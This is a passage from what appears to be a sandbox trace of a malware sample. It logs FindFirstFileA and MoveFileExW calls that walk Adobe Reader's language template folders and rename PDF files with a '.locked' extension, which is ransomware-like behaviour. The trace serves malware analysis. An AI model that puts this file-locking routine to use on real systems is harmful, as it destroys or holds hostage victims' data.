ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f9e7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f9e7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.496] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0065.613] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0065.616] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xca18d980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xca18d980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.742] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0065.888] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0065.891] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xca4150e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xca4150e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.913] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0065.936] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0065.938] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xca487500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xca487500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.033] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0066.117] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0066.120] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xca650580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xca650580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0066.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0066.251] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xca781080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xca781080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.316] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0066.381] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0066.384] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xca8d7ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xca8d7ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.462] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0066.552] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0066.560] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcaa7ac00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcaa7ac00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.627] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0066.693] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0066.696] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcabd1860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcabd1860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.698] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcabd1860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcabd1860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.779] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0066.873] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0066.876] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcad74780, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcad74780, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0066.896] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0066.915] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0066.918] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcade6ba0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcade6ba0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0067.005] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0067.095] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0067.097] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcafafc20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcafafc20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0067.162] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0067.228] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0067.229] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcb0e0720, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcb0e0720, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0067.261] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0067.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0067.288] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcb178ca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcb178ca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0067.311] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0067.336] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0067.338] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcb1eb0c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcb1eb0c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0067.404] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0067.853] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0067.855] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcb6d3e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcb6d3e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0067.978] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf.locked"), dwFlags=0x2) returned 1 [0068.044] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf.locked"), dwFlags=0x2) returned 1 [0068.047] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", 